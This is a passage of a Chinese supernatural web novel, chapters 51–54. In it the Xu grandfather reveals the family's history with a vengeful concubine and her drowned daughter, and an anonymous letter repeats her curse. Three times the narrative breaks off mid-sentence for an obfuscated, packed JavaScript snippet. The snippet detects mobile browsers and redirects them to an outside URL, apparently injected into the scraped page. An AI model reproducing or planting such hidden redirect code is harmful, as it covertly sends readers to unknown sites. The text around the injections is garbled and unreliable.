结果出来之后,医生的说法和之前那些医生大差不差,表示颜珺瑶身体没什么大问题,如果不放心,可以住院观察观察。 颜珺瑶知道自己没事,也不乐意住院,她现在就着急回去。 虽然已经用湿巾还有毛巾把头发和脸都稍微擦了擦,但她还是膈应了大半天。 从医院出来之后,许修远想带她去吃饭,颜珺瑶哪里有心情吃饭,她现在满脑子只想着两个字。 洗澡,洗澡! 许修远只好送她回了出租房,他跟着颜珺瑶下了车,深深地看着她。 “对不起,我爷爷太过分了。” 颜珺瑶皱了下眉,“如果说我现在已经不生气了,那一定是假话。我确实很生气,不过你爷爷把你们家的事情都跟我说了,他很担心你的安危。但我觉得——” 她吐出一口气,“她们母女,还有养着萍萍的人,现在她们的最终目的也许——并不是想要害你和你爷爷。我觉得先把项链找到吧,也许之后她们还会让我转述她们其他的要求。” 许修远愣了好一会儿,颜珺瑶扬起嘴角。 “虽然我和你们家没有任何关系,也不知道与她们母女有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104923|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么渊源,但她们选中了我,我躲不掉的。你跟许老先生说,你们家的事情我一个字都不会说出去,请你放心。 但同时,我也希望许老爷子能尊重我,想要让我帮什么忙,至少事先要征求我的同意,而不是像这回这样,人身监禁,犯法的。如果今天你没有回来,我还会被关在那里,我爸妈连续两天打不通我的电话,就会直接报警,事情很可能就闹大了。我和你是朋友,不想弄得太难看。” 许修远叹了口气,“非常抱歉。” “这次的事跟你没关系的。”颜珺瑶笑起来,拍了拍他的肩膀,“我先上去了,身上太埋汰了,忍了大半天,我已经快无法直视我自己了。你也回去吧,路上注意安全。” 说完,笑嘻嘻地朝他挥了挥手,小跑着进了小区。 * 许修远站在原地,直到看不到颜珺瑶的身影,才回了车上。 回到老宅,他才知道爷爷身体也突然不舒服,但执拗地不愿意去医院,家庭医生正在楼上。 他坐在客厅里,并没有上去,王阿姨刚给他端上切好的水果,宗叔就送家庭医生下楼了。 打过招呼,等到家庭医生离开,宗叔才笑着问许修远什么时候回来的。 “刚回来,”许修远瞥了一眼楼梯的方向,轻咳了一声,“爷爷怎么样了?” 这两天老爷子做的事情,宗叔都很清楚。 “老爷子有点不舒服,不肯去医院,刚才张医生检查了说没什么大问题,就是情绪——不能太过激动。 许修远点点头,“我吃碗面再上去看她。” 宗叔没再多说什么,上楼去了。 阿姨很快煮好了面,端上了桌,许修远刚吃了两口,就收到颜珺瑶的微信语音。 “谢谢你给我点的大餐!” 随后附上一张照片。 “嗯,喜欢这家餐厅吗?” 颜珺瑶很快回复:“喜欢,太喜欢啦,这家餐厅可出名了,平日要去吃一次还不一定有位置,谢谢啦!你给我点的好多啊,我能吃好几顿,哈哈!” 许修远不禁笑出声,“慢慢吃。” 发出去之后,又加了一条,“你明天去上班吗?” “去,我这几个月请假请的有点太多,不好意思不去,今晚好好睡一觉,明天就没事的。对了,刚才忘记和你说了——” 许修远刚要回复,问她忘记跟自己说什么,颜珺瑶的电话就过来了。 “今天在别墅的时候,我看到我自己了。” 许修远微微眯了眯眼,突然想到什么,不可置信道:“你是说——灵魂出窍?” 颜珺瑶“嗯”了一声,“你太聪明了。沈新柔,就是萍萍的妈妈,我们看到的那个旗袍女人,她借用我的身体,是完全掌控了,我当时的感觉像是被人从背后狠狠地撞上,整个人弹了出去,下一秒我就看到我自己了,你们当时说的什么我都知道。 但是许薇萍,就是萍萍,却不能完全控制我的身体,所以我觉得沈新柔比许薇萍还厉害。一个许薇萍都不好对付,再加一个沈新柔更是难上加难。我还是之前的想法,尽量满足她们的心愿,我感觉她们现在并不是真的想要害你和你爷爷,但如果一直和她们作对,试图伤害她们,期望永绝后患,也许才会真的激怒她们,更何况还有养着许薇萍。 许薇萍这两天一直在强调,是大姐姐带她出去的,但你爷爷说的却不是这样,他说许薇萍的死只是意外而已,和大姐无关。” 紧接着颜珺瑶就把许忠林说的许家旧事转述给许修远。 “我觉得你爷爷并没有完全说实话,或者是他当年也是被长辈所蒙蔽,不知道事情真相。” 52. 第 52 章 结束通话,许修远默默吃完了面,王阿姨笑呵呵地问他还要不要再来一碗。 “谢谢阿姨,我吃饱了,”许修远擦了擦嘴,想到了什么,“阿姨,今天赵先生有没有过来?” “来过,临近午饭那会儿,跟老爷子一起回来的,待了不到一个小时就走了,连午饭都没吃。” 许修远点点头,随即上了楼,去到了爷爷的房间。 宗叔见状,识趣地离开了房间,说是去给老爷子准备晚餐。 爷孙俩对视了一眼,谁都没有先开口。 许修远率先移开视线,坐到了靠窗的沙发上。 许忠林用力地叹了口气,主动先开口问道:“小远,颜小姐身体怎么样了?” “身体比较虚弱。” “是我对不起她,让她受委屈了。” 房间里一时又安静下来,半晌,许忠林看着许修远,慈爱地说道:“小远,坐到爷爷这边来,爷爷把当年的事情告诉你。” 许修远搬了张椅子,坐到了床边,就看到爷爷神色恍惚,仰头看着对面的墙壁,好一会儿才开了口。 “按照辈分来说,许薇萍是你的三姑奶奶,我的妹妹,她的亲生母亲叫沈新柔,是你太爷爷的姨太太。你太爷爷和你太奶奶的婚姻是家里人安排的,婚后你太奶奶生了一对双胞胎,也就是你大姑奶奶和二姑奶奶,但之后多年都没再怀上孩子。 后来你太爷爷看上了沈新柔,让她进了门,没多久沈新柔就生下了一个男孩,也就是我的兄长,所以许薇萍才叫我二哥哥。你太爷爷做主就把孩子记在了你太奶奶名下,由你太奶奶抚养。几个月之后,你太奶奶突然就有了身孕,十个月之后就生下了我,但你太奶奶还是对沈新柔的儿子视如己出,可没想到我还没满月的时候,大哥就生病没了。 沈新柔将这一切都怪到了你太奶奶身上,觉得你太奶奶是有了自己的亲儿子,就不想要没有血缘关系的儿子,害怕分走亲生儿子的家产,所以故意害死她的儿子。她闹了很长时间,后来她又有了身孕,才消停下来,这一胎就是许薇萍。孩子很漂亮,也很健康,家里人都很喜欢——” 说到这里,许忠林突然停了下来,伸手要去拿床头柜上的水杯,许修远把杯子递给他。 许忠林喝了口水,才继续道:“但许薇萍四岁的时候,出车祸也没了。车祸是意外,可沈新柔却咬死了认为是大姐故意带她出去,害死她的,家里每天鸡犬不宁。不久之后她得了疯病,在楼上那个房间自缢了,她还——她还——” 许忠林的手颤抖起来,面色又惊又怒。 许修远拿过他手上的水杯,握住爷爷的手。 许忠林眼眶湿润地看向他,右手反握住许修远的手,十分用力,严重惊恨交加。 “她还留下了一条手帕,上面绣着一句话:我死之后,必为厉鬼,许家上下,终日不安,断子绝孙。她在用自己的命来诅咒我们许家,那是诅咒。一开始大家并没有特别在意,你太爷爷只觉得那是沈新柔的气话,但家里的长辈还是花高价请了先生来,怕沈新柔的怨气积留在了家里。 原以为请了先生处理,把沈新柔超度了就没事了,可谁能想到你大姑奶奶十七岁订婚的前半个月左右,暴毙而亡。当时我的二爷爷就觉得不对劲,再次请了先生来,把那个房间给封住了。之后家里一切都如常,不过你太爷爷因为这些事情,心中郁结,身体开始出了问题,不到五十就走了。你二姑奶奶结婚生子,一直都很健康,但也不长寿,也是不到五十就没了。 家里已经很久没有想起沈新柔这个人了,并没有觉得这两件事会和她有关。可你大伯,你大伯他——他才十六岁就出了车祸,当场没了。你太奶奶因为伤心过度,没多久也走了。 我这才开始万分重视沈新柔,多方打听,找来了毕文启先生,毕先生说沈新柔怨气太重,丝毫没有离开阳间的想法,于是便把她困在了楼上那个房间里。你进去过,应该知道里头的布置不是现代化的,而是和她当年住着的时候没有任何改变,为的就是让她觉得仿佛还活着,不让她离开那里。 而毕先生说我的八字纯阳,可以镇得住凶煞之气,所以我就一直住在这里,这么多年不敢离开。老宗的八字较硬,所以长期跟在我身边没有出什么问题。以前我不让你爸妈还有你在这里待太久,就是担心会影响你们的身体。可这些事情我还没来得及告诉你爸,你爸就出了事,我的两个孩子都——” 许忠林泪流满面,痛哭不已,许修远抽了张纸给爷爷擦了眼泪,安慰了几句。 许忠林也很快整理好情绪,“当时你爸刚出事的那几天,我在医院听说了三楼那个房间正对后院的窗玻璃出现了裂痕,所以我才着急出院,担心沈新柔接下来会对你下手。但毕先生生了重病,在医院做手术,就推荐了他的徒弟过来帮忙。 后来你告诉我,你父亲出事前停车是因为看到了一个穿着嫩黄色旗袍的小女孩,我才明白你爸出事的时候看到的居然是许薇萍,是许薇萍害死你爸的,她出事的地方也差不多就在那里,她当时就是穿着嫩黄色的小旗袍。 她们母女联手想要害死我们许家所有人,真的太恶毒了,太恶毒了——” “之前在后院挖出的那两个小棺材——” “那是两个衣冠冢,说是衣冠冢,肯定是沈新柔父亲弄的,要让我们许家断子绝孙的阴毒阵法。” “那她们母女真正的墓在墓园吗? 许忠林轻咳了两声,没有直接回答:“当时许薇萍是出意外死的,而且又是早夭,族里的好几个长辈觉得不能葬到祖坟,会影响祖坟的风水,所以你太爷爷就在祖坟边上选了一块风水宝地安葬了许薇萍。至于沈新柔,你太爷爷把她葬在许薇萍边上,让她们母女作伴。” “您为什么觉得那两个小棺材是沈新柔父亲埋的呢? 许忠林不屑地冷哼了一声,“沈新柔进门的时候,你太爷爷为了不让族里的长辈反对,便给她换了个身份,说是当时沈家的孩子。不仅如此,还让人教她说英语,学弹琴。而沈家早在十年前都迁到外地去了,无从查起,家里人觉得她谈吐不错,像是书香世家出来的孩子,便同意了。 但后来你太奶奶发现,其实她根本就不是什么沈家的。她刚进门没多久,你高祖父身体不太好,她便悄悄出了门,打算去找她父亲来帮忙看看,可最后她父亲也没来帮你高祖父看病。 沈新柔出事之前,一直没有见她家人来过,但是有个什么乡下的妇人偶尔会来给她送点瓜果蔬菜,沈新柔说是她的什么远房亲戚。 等到沈新柔出事之后,家里人才第一次见到了沈新柔的父亲,而且只来了她父亲。你太奶奶才知道她父亲姓施,根本不姓沈,是个木匠,同时还是个阴阳先生,家里颇过的去,所以在那个年代沈新柔虽然是个乡下人,但也是上过学的。” 许忠林顿了顿,脸颊微微抽动着,“你太爷爷藏书多,沈新柔进门之后为了不让人怀疑她的身份,便时常看书,没想到最后用到了对许家的恶毒诅咒上。” 许修远有些不解,许忠林颤抖着双唇继续说道:“我长大之后才知道,她那条帕子上的话,是借用了《霍小玉传》里,霍小玉对李益的诅咒。可沈新柔比霍小玉更恶毒,好歹你太爷爷并没有亏待她,你太爷爷对她可比对自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110968|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的妻子好多了,她居然——居然留下了那样的诅咒。” 许修远故作不知地问道:“这两个衣冠冢,您之前是怎么打算的?” “挖出这两个小棺材之后,赵先生就建议把她们母女迁葬到祖坟,可挖开她们两的坟,发现棺材里根本就没有尸骨,只有当时下葬时的一些衣物。” 许修远颇为惊诧,“她们的尸骨——都没了?” 许忠林“嗯”了一声,“肯定是沈新柔的父亲做的,否则如果是盗墓的怎么会偷尸骨,而不偷陪葬的东西?我派人找了许久都没找到她们两人的墓,只能把挖出来的两个衣冠冢给重新安葬到墓园,但是连续两次去墓园的路上,都半路出了意外,她们母女这是不愿意就这么埋到墓园里去,她们是在向我示威,在警告我。” 许修远沉默了良久,突然问道:“大爷爷叫什么名字?” 他不知一次翻过家里的族谱,他非常确定,族谱上太爷爷的儿子只有一个,那就是爷爷,爷爷成了长子。 许忠林没想到他会突然问起这个,“许承望。” “把大爷爷寄养在太奶奶名下,是太爷爷先提出来的,还是——太奶奶呢?” 许忠林脸色骤变,眼中满是不悦,用力抽回自己的手。 许修远继续说道:“沈新柔不太可能会愿意把自己的孩子给别人当儿子,她很爱自己的孩子——” “你想说什么?”许忠林呵斥着打断他的话,“你到底想说什么?你觉得是你太奶奶把沈新柔的儿子抢走,等到生了我,又故意害死了许承望?她是你太奶奶,你知不知道你在说什么?” 许修远平心静气道:“爷爷你别激动,我不是要对太奶奶不敬,而是在和你讨论。当年大爷爷病逝的时候,你还很小,你所知道的只是当时的长辈告诉你的而已,未必是真相。只有我们把当年的事情理清楚,才能最好的解决她们母女的问题。” 许忠林面色不虞,但没有说话,显然是把许修远的话听进去了。 许修远给许忠林倒了杯温水,许忠林把他的手推开了。 许修远将水杯放回床头柜,继续说道:“太奶奶多年没有再孕,在当时的背景下,她一直没有生下儿子,族里的长辈,还有太奶奶父母那边肯定给她很大的压力,所以很可能是太奶奶提出来的,最后太爷爷说服了沈新柔。” 许忠林正色道:“即使是这样,你太奶奶也绝不对故意弄死许承望,她对许承望视如己出。更何况你太奶奶出生名门,饱读诗书,又接受过新式教育,由她来抚养孩子,自然强过沈新柔,也能给许承望更好的前途。” 许修远没有接话,当时太奶奶自己怀上了孩子,肯定大部分的心思都在自己的肚子上,多少是会对大爷爷有所疏忽。 且不谈太奶奶在生下儿子之后,有没有存了想要除掉沈新柔儿子的想法,但她把别人的孩子要了来,却没有照顾好,难辞其咎。再怎么视如己出,在太奶奶有了自己的儿子之后,就不会对别人的孩子有多好了,更何况还是沈新柔,一个抢了她丈夫的女人的儿子。 所以沈新柔会闹起来无可厚非,自己好端端的孩子被人要了去,不到两年却没了,换做是任何人都无法接受的。 他抬眸看向许忠林,“爷爷,许薇萍当时是谁带她出门的?三姑奶奶当时才四岁左右,不可能自己一个人跑出去的,必然是有人带她出去的。而沈新柔在孩子出事后会那么崩溃,说明肯定不是她,三姑奶奶告诉珺瑶,说是大姑奶奶带她出去的,骗她要去找太爷爷。” 许忠林激动起来,大声吼道:“住口,一个不是人的玩意说的话你们居然相信了——” 53. 第 53 章 许修远打断他的话,“为什么不能信?她当时已经四岁了,不是四个月,她肯定是知道谁带她出去的。爷爷,您为什么不能正视真相?您刚才跟我说的往事,我不知道到底有几分真,几分假,也许当时的长辈就是这么告诉您的,也许是您不愿意把真相说出来,不想在我面前伤了已故长辈的名声。再有可能是几十年时间下来,很多人在您心里被美化了。 我知道您对沈新柔母女恨之入骨,但有一点不能否认,沈新柔生前在对待两个孩子的问题上,她没有错。她进了许家的门,接连生下两个孩子,却都没了。一个在太奶奶手上出的事,一个是大姑奶奶造成的,她不可能不闹起来。她想为自己的孩子讨回公道,甚至用自己的命做赌咒——” 许忠林拿起床头柜上的水杯狠狠砸了出去,怒道:“你倒是同情起她们母女来了?那你大姑奶奶,你大伯,还有你父亲,他们就该死吗?” 许修远叹了口气,好半晌才说道:“爷爷,我刚才说了,想要解决现在家里的问题,就得弄清楚当年的真相,谁都不想再看到家里出事了——您先好好休息!” 他站了起来,走到门口的时候,又偏头说道:“您刚才跟我说的旧事,都是真的吗?” 许忠林满脸怒容,没有回答,许修远打开房门,走了出去。 天色渐渐暗了下来,许修远突然之间有些不知道该去哪里,疲惫地坐在一楼客厅的沙发上。 宗叔走了过来,在他面前放了杯热茶。 “谢谢宗叔!” 宗叔呵呵笑了笑,没问他和老爷子谈的如何,只是说道:“晚餐快好了,今晚留下来吃饭吧。” 许修远犹豫了片刻,点了点头。 * 张熙杰难得提前下了班,本来想去看看颜珺瑶,给她打了电话,好几次才打通,一听声音就是在睡觉。 于是他便作罢,不去打扰她休息,打算直接回去医院,母亲张月竹让他顺路回一趟家,把饭给爷爷和父亲送去。 车子刚要进小区,张熙杰一眼就注意到一个中年男人,带着帽子和口罩,手上抱着什么东西,从小区里走出来。 因为他也有一顶一模一样的帽子。 他愣了下,很快反应过来,虽然看不清脸,但身形和走路姿势分明就是父亲。 张熙杰不解,一个小时前母亲还跟他说父亲在医院陪着爷爷,怎么这会儿又突然回来了,还这副打扮? 他摇下车窗,想要叫住父亲,但见父亲脚步匆匆地往前去。 他不禁想起,前几天自己的这顶帽子就出现在爷爷的病房里,父亲说是被他拿去戴了下。 当时他也没在意,可今天怎么又戴上了? 这会儿太阳都下山了,一点都不晒,父亲这打扮实在是诡异。 他转动方向盘,跟了上去,叫住父亲。 郑贺今吓了一大跳,迅速回头,即使在看到喊他的人是自己儿子时,也丝毫没有松一口气的感觉。 张熙杰笑着问道:“爸,你怎么这身打扮?是要去医院吗?等我上楼拿了爷爷的晚饭,我载您去!” 郑贺今摘掉口罩,讪笑了声,“你今天怎么这么早回来了?我要去见个朋友,你先上去,回头我自己打车去医院。” 张熙杰笑嘻嘻地又问道:“您要去见谁啊,是李叔吗?这副打扮搞得跟地下接头似的!” 瞥了一眼父亲抱着怀里的袋子,里头的东西四四方方的,像是什么箱子或是盒子,好奇道:“手上是什么宝贝?” 父亲性格内向,朋友并不多,在他的印象里,父亲在市里的朋友,最常联系的好像只有李叔叔一人,前几天李叔叔还去医院看过爷爷。 郑贺今呵呵笑了,没有回答他的问题,“你爷爷中午吃得不多,你赶紧给送去,别饿到他了。” 张熙杰见父亲不愿意告诉自己,也就没有再问,掉头进了小区。 但他也只是在里头转了一圈,很快出了小区,跟上了父亲。 只见父亲步行了十分钟之后,打了一辆出租车,张熙杰一路小心翼翼地跟着,看到父亲在三环附近的一个旧小区附近下了车。 一下车,父亲居然就瞬间变得跛脚。 张熙杰看到他拨了个电话,又跛着脚步行了将近十分钟,走到两棵大树下和已经等到那里的一个三十岁左右的男人碰面。 两人不知道说了什么,没多久,父亲就从袋子里拿出了一个深色的盒子给了对方,而后又递出去了一小叠现金。 对方接过盒子,打开瞧了一眼,倏地笑了起来,接过了父亲手里的现金,拍了拍父亲的肩,嘴里说着什么。 父亲转身就离开了树下,而那个男人骑上了旁边的电动车,戴上了头盔,电动车后座赫然是一个箱子,上面写着某外卖平台的名称。 所以父亲是让人帮他送东西,为什么不能直接到快递站去寄送,而要到这么远的地方来,而且还是私单? 张熙杰继续跟上了父亲,就看到父亲拐进了一条巷子,车子没法进去,他只好往前上了大路。 等了有一会儿,终于看到父亲从一片低矮的老旧居民楼里绕了出来,没想到的是,紧接着父亲居然进了一家连锁商场。 他没下车,在车上继续等着。 不到十分钟,父亲换了身衣服,没戴帽子和口罩就从里面出来了,走路也恢复了正常。 张熙杰越发困惑,父亲这是在里头买了身衣服,还是提前把东西寄存在商场里? 最重要的是,他到底在做什么? 张熙杰瞄了眼时间,不能再耽搁了,否则来不及给爷爷送晚饭,于是便掉头回了家。 等他赶到医院的时候,父亲还没过来,他刚把爷爷的晚餐摆在小桌上,就看到父亲推开了病房门。 张熙杰一怔,父亲穿着新衣服就过来了,没戴帽子,没戴口罩,而且神色比刚才在小区外碰到时轻松了不少。 他笑着问道:“爸,你吃了没,老妈让我带了两人份的晚餐。” 郑贺今把手上的购物袋放到了地上,坐到了病房边,“还没吃,就等着陪你爷爷一起吃。” 张熙杰瞥了一眼地上的购物袋,“爸,你刚才是去买衣服了?” 郑贺今端起饭盒,清了清嗓子,“刚才是老李叫我去帮他看看他刚收回来的一块茶饼,我回来的路上就顺便给自己买了身新衣服,身上穿的就是。” “……嗯,挺好看的,比刚才那套精神。” 张熙杰没有打破砂锅问到底,不能在这里戳破父亲的谎言。 当天晚上,他打算留下来陪夜,让父亲回去休息,但父亲坚持留在医院陪着爷爷,爷爷也让他赶紧回去休息,他只能答应了。 八点左右,张熙杰见爷爷有了困意,便离开了病房。 临走时,他问父亲要不要帮他把旧衣服带回去洗。 郑贺今顿了下,点头说好。 张熙杰觉得,父亲之所以同意让自己把新衣服带回去,很可能是因为他已经把小票扔掉了,不会被自己发现什么端倪。因为李叔的家和店铺都不在三环路上,父亲回来的时候不可能经过那里的商场。 * 晚餐准备好了,宗叔扶着许忠林从楼上下来,爷孙俩坐到了餐桌前。 许忠林因为刚才在房间里的冲动有些后悔,便主动给许修远夹了菜。 “多吃点。” 许修远笑着“嗯”了一声,“谢谢爷爷。” 用过晚饭,许忠林上楼休息,许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120710|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修远正打算去书房翻一翻太爷爷的旧书,院门外就有人按门铃了。 许修远以为是赵敬鸿又过来找爷爷,亲自去开了门,结果却发现不是。 门外站着的是一个戴着头盔的快递员,手上拿着一个檀木盒子。 快递员张大旗先开了口,“有人给许老先生送了一封信。” 说着就要把那个盒子,交给许修远。 没有快递包装,和上次一样,是私下让人送来的,但不是同一个快递员。 许修远并不接,“这是谁让你送来的?” 张大旗知道住在这里的人非富即贵,轻易不能得罪,也明白许修远的顾虑。 于是解释道:“是一个中年男人让我送来的,您放心,我检查过了,里头只有一封信,没有危险品。” 接着他当着许修远的面把盒子打开了,许修远瞥了一眼,里面确实只有一封信,信的封口没有被打开过,仍是完好的。 就听张大旗又说道:“那位先生说了,许老先生看了信就会明白的。” “那个男人长什么样子,有什么特征吗?” 张大旗摇头,“对方戴着帽子和口罩,看不清楚长什么样子,不过看起来应该有五十左右了。 他顿了下,又道:“对了,他跛脚。” “跛脚?哪一条腿?” 张大旗愣了下,皱眉想了片刻,才拍了下自己的左腿,“应该是左腿。” 许修远又追问了对方的穿着,以及两人见面的地方,张大旗都一一回答了,十分配合。 他知道快递员说的应该都是真话,但即使知道了这些信息,很可能还是和上次一样,见面地点附近应该是没有监控的,很难找到这个人,因为提前踩过点。 许修远这才接过盒子,同时说道:“辛苦了,如果下次再遇到这个人,麻烦告知一下,必有重谢。” 张大旗犹豫了一秒,便答应了,互留了号码。 他刚存好号码,手机上就弹出了一个通知:支付宝到账五千元。 他双眼顷刻间放光,激动之情溢于言表,许修远只是淡淡地朝他笑了笑,又重复了一遍:“如果再遇到这个送信的人,麻烦告知。” 张大旗忙不迭点头,“一定的,一定的,小事一件!” * 回到客厅,许修远拆开了信封,里头仍旧只有一张信纸。 信纸上只有两列字,从上往下,由左至右,字迹娟秀,像是女子的笔触,写的分明就是几十年前沈新柔留下的诅咒。 我死之后,必为厉鬼,许家上下,终日不安,断子绝孙。 许修远腾地一下站了起来,这个人对许家当年的事情一清二楚,这个人是如何知道的? 爷爷不是说沈新柔进门之后,就没有和家里人联系过,她的家人也不愿来看她,只在她葬礼的时候出现,怎么能知道这么多呢? 他刚把信收好,打算安排人手去到快递员和这个送信人见面的地方去查一查,就听到许忠林匆忙下楼的声音。 许修远来不及把盒子藏起来,就听到许忠林激动地说道:“快把信给我看,快——” 许修远赶紧上前把爷爷扶到沙发上,本想开口制止他看信,但许忠林已经打开了盒子,发现里头只有一个空信封,迅速转头拽住许修远的胳膊,涨红着脸说道:“快给我看,快——” 许修远原先想留着,觉得笔迹也是一条线索,所以就没有立即销毁,眼下他只能把信纸交到了爷爷手上。 许忠林一看到信纸上的内容,突然就笑了,什么都没说,站了起来,一步一步地往楼上走去,可刚走了两步,整个人就支持不住,要向前倒,宗叔差点没撑住,大声叫着“老爷子”,许修远赶紧冲了过去。 54. 第 54 章 离开医院,张熙杰把购物纸袋里的东西都翻了一遍,果然没有小票,也没有其他不对劲的东西。 随后他开车直奔刚才父亲和外卖员见面的地方,他在附近的几个外卖站点转了转,以寻找拾金不昧的外卖员为由,但没找到。 九点多了,他决定先回去,明天有时间再来找,把范围扩大一些,还有快递站点,因为有些人就是同时送快递和外卖。 张熙杰特意绕到医院,买了夜宵送到了病房。他没有提前打电话,担心父亲和爷爷已经睡了,吵醒了两人。但他走到病房门口的时候,发现病房还亮着灯,父亲在里头正跟爷爷说着话,语气似乎有些埋怨。 他并不打算偷听,敲了下门就进了病房,父亲和爷爷两人齐齐看向他,脸色都有些不太对劲,愣了一瞬问他怎么又过来了。 “我看你们晚饭吃的不多,所以就买了牛肉面,你们俩都喜欢的,而且我都多加了一份牛肉。” 汤明山摇头,“我没什么胃口,小杰陪着你爸爸一起吃吧。” 父子俩吃着面,张熙杰状似随意地问道:“对了,今天怎么十点了还没睡,聊什么聊得这么投入呢?” 汤面山笑着回道:“哪里聊什么,我眯了一一个多小时,才刚醒没多久。” 张熙杰“哦”了一声,没再多说,低头吃面。 吃完之后,看着爷爷和父亲都躺下休息了,张熙杰关了灯,带上门,离开了病房。 * 许忠林被送到医院之后,医生检查之后,幸好情况不是太严重,不过还是让住上两天。 这回许忠林没有再固执着要回去,许修远和宗叔都松了口气。 宗叔回去给许忠林收拾东西,病房里只剩下爷孙两人。 许忠林让许修远把他的床摇了起来,靠在床头上突然叹了口气。 “可惜毕先生得了重病,手术虽然成功,但已经没法帮忙了。赵敬鸿确实尽心尽力,但到底是不如毕先生。他也不避讳这一点,之前就给我介绍了一位大师,可惜那位汤先生也生了病。这回他联系了一位港城那边的老先生,不知道对方能不能过来帮忙。” 汤先生? 许修远愣了一瞬,难道是汤明山,颜珺瑶老家的那位邻居? 他将一根剥好的香蕉递给许忠林,“这位汤先生是哪里人?” 许忠林摆了摆手,不想吃,嘴上回道:“就是我们这儿的,不过不是在市里,住在乡镇下面,赵先生说就连他师父都敬佩这个汤先生。” 许修远了然,八成就是汤明山老先生了。 他佯装好奇,“哦?这么厉害?” “赵敬鸿只见过汤先生几次,对汤先生的了解大部分都是毕先生告诉他的。说是汤先生不知师从何人,不到三十岁就有一身的本事,连毕先生都自愧不如,想要拜他为师。不过汤先生并没有收徒的打算。 但好像自从家人出了事之后,就变得十分低调,除了自己的朋友亲人,外人轻易请不动他。帮了忙之后,还会要求对方不要在别人面前提起他。” “他的家人出了什么事?” 许忠林思索片刻,“好像是第一个孩子早夭,受了很大的打击。不管是算命先生,还是阴阳先生,从事这些行业的,多少都会有所反噬,可能是因为这个,所以汤先生才改了行业,当了木匠。” 许修远想了想,“爷爷,我也托人打听了,看看能不能找到更厉害的先生。” 许忠林看向他,默了一瞬,想起白天他抱走颜珺瑶时对赵敬鸿说的话。 他忍不住说道:“赵敬鸿已经尽力了,而且他请教过他的师父,毕先生应该也是解决不了。” 说着说着轻咳了一声,“至于颜家姑娘的事情,和他无关,是我做主的,你——不要为难他。” 许修远笑了笑,不置可否,把剥好的香蕉放到桌上,抽了张纸慢条斯理地擦着手。 “爷爷,您——为什么觉得她能引出三姑奶奶和沈新柔呢?因为她长得和沈新柔很像吗?” 许忠林叹了口气,“这是一个原因,但不是主要原因。 她第三次跟着江成来我们家老宅,就是那天,就在她在的时候,后院的一个雕塑突然倒地摔碎了,连带着两三米远处的地面居然出现一条裂缝,那裂缝底下就是那两个小棺材。 也许只是凑巧,但她的那张脸让我没办法相信是巧合。之后她住院,我去医院看她的时候,她突然神情恍惚,对我说了一句,二哥哥,你还记得我吗。这个世上会叫我二哥哥的只有许薇萍,所以我知道她当时就是被许薇萍短暂附身了。” “爷爷,您在第一次见到她之后,肯定找人调查过她,应该知道沈新柔和她家没有亲属关系。” 许忠林轻笑了一声,“查出来的资料是说明她和沈新柔没有关系,但年代太久远了,当时的档案记录不一定就是对的,而且那个年代不少人家会抱养或□□。” 许修远暗暗叹口气,“您还是觉得她很可能是沈新柔家人的后代?” “我不敢确定,但她肯定和沈新柔有关系。当时我去医院看过她之后,没过几天,就有人送了第一封信到家里,信上还是称呼我二哥哥。 我派人查过,他爸那天就在本市,当天学校没有排他的课,他也没有在医院出诊,那天他爸就是休息。” 许修远皱眉,“所以您觉得前几天的第一封信是颜珺瑶爸爸找人送来的?” 许忠林无奈道:“那个中年男人和快递员见面的地方周围没有摄像头,什么都没查到。” “我问过刚才送信的快递员,他说托他送信的是个跛脚的中年男人。下午我送珺瑶回家的时候,听到她给她妈妈打电话,她爸爸昨天就出差了,还没回来,今天不在本地。” 许忠林冷哼一声,“这种事不一定要亲自做。” 许修远忍不住说道:“爷爷,您把珺瑶困在那栋别墅,如果今天沈新柔没有出现,如果我没有赶过去,您是不是还要继续关着她,直到除掉了三姑奶奶呢?还是您打算借用这个机会,试探她的家人到底是不是幕后的人?” 许忠林不置可否,“我知道这件事让她受委屈了,之后我一定会补偿她的。 但我还是那句话,即使她和沈新柔不是亲人,也一定有关系,否则沈新柔母女不会就认定她,借用她的身体了,凡事皆有因。” “爷爷,珺瑶确实是被三姑奶奶和沈新柔缠上了,但她本人一定对我们家没有任何恶意,否则她不会答应,一直被阴魂上身,她的身体很受影响。这段时间她多次出入医院,可她还是愿意帮忙,不仅如此,之前她还救过我两次。” 许忠林一下子坐直了身子,颤抖着双手紧紧握住他的胳膊,激动道:“你出了什么事,为什么都不告诉我——” 许修远反握住爷爷的手,另一只手给他慢慢地顺气,让他不要激动,而后才道:“我没出什么事,反而是珺瑶她因为救我进了医院。” 许忠林哼了一声,蓦地想到什么,突然问道:“你怎么知道颜珺瑶和沈新柔长相相似?你见过她的照片还是——” 